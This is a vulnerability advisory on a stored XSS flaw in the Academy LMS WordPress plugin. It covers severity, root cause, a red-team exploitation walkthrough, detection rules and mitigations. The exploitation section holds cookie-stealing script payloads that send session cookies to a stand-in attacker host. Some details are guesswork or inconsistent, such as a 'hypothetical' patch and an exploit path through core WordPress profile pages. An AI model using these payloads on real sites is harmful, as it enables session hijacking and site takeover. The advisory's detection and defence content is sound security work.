CVE-2025-68527

Executive Summary

CVE-2025-68527 is a Stored Cross-Site Scripting (XSS) vulnerability in the Academy LMS plugin by Kodezen LLC, affecting versions through 3.4.0. This vulnerability allows an authenticated attacker with low privileges to inject malicious scripts into web pages generated by the plugin. When an administrator or other user views the affected page, the injected script executes in their browser context, potentially leading to session hijacking, data theft, or further compromise of the WordPress site. The vulnerability is classified as Improper Neutralization of Input During Web Page Generation (CWE-79). No public exploit code or patch details are currently available, but the risk is elevated due to the widespread use of LMS plugins in educational environments.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files by comparing checksums with the repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must view the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the Stored XSS nature means the payload persists and can affect multiple users, including administrators. In a WordPress ecosystem, this can lead to full site compromise if an admin’s session is hijacked.

Deep Dive & Mechanics

The vulnerability resides in the Academy LMS plugin’s input handling. The plugin fails to sanitize or escape user-supplied data before storing it in the database and later rendering it in web pages. Specifically, fields such as course titles, descriptions, or user profile inputs are not properly neutralized. An attacker with a subscriber or student role can inject JavaScript payloads into these fields. When an administrator or instructor views the affected page (e.g., course listing or user profile), the script executes.

Root Cause: The plugin uses echo or the_content filters without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post() on user input. This allows HTML and JavaScript to be stored and rendered.

Attack Flow:

1. Attacker logs in as a low-privileged user (e.g., student).
2. Attacker navigates to a profile or course creation form.
3. Attacker injects a payload like <script>alert('XSS')</script> into a text field.
4. The payload is stored in the WordPress database.
5. An administrator views the affected page.
6. The script executes in the admin’s browser, potentially stealing cookies or performing actions on their behalf.

Vulnerable vs. Patched Code

Vulnerable Code (Academy LMS <= 3.4.0):

// In a template file or function
echo $course_title; // No escaping

Patched Code (Hypothetical):

// Proper escaping
echo esc_html( $course_title );

The vulnerable code directly outputs user input without sanitization. The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Academy LMS <= 3.4.0 installed.
• A low-privileged user account (e.g., student).

Steps:

1. Log in as the low-privileged user.
2. Navigate to the profile editing page (e.g., /wp-admin/profile.php).
3. In the "Biographical Info" field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the profile.
5. Wait for an administrator to view the user’s profile page.
6. The admin’s cookies are exfiltrated to the attacker’s server.

Alternative Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual JavaScript in user profile fields or course descriptions.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Defense:

• Immediately restrict user roles to the minimum necessary.
• Disable the plugin until a patch is available.
• Use a security plugin like Wordfence to add input sanitization.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains containing cookie= in the query string.
• File: Modified plugin files in /wp-content/plugins/academy-lms/ with unexpected JavaScript.
• Database: Entries in wp_usermeta or wp_posts containing <script> tags.
• Logs: WordPress debug logs showing wp_kses failures or unescaped output.

Detection Engineering

YARA Rule

rule CVE_2025_68527_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Academy LMS plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68527"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $academy_lms = "academy-lms"
    condition:
        $academy_lms and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Academy LMS Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts in Academy LMS plugin fields
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/admin-ajax.php"
        http.body|contains: "academy_lms"
        http.body|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in course descriptions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-68527 Stored XSS in Academy LMS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"academy_lms"; http_client_body; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict user roles to prevent low-privileged users from editing profiles or creating courses.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.

Long-Term Fix:

• Apply the vendor’s patch when available.
• Update to a version > 3.4.0 if released.
• Conduct a security audit of all user input fields in the plugin.

Workaround:

• Use a WordPress security plugin to add input sanitization on the fly.
• Add the following to the site’s .htaccess to block common XSS patterns:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (<script|<iframe|<object) [NC]
  RewriteRule .* - [F,L]
  

Valters IT
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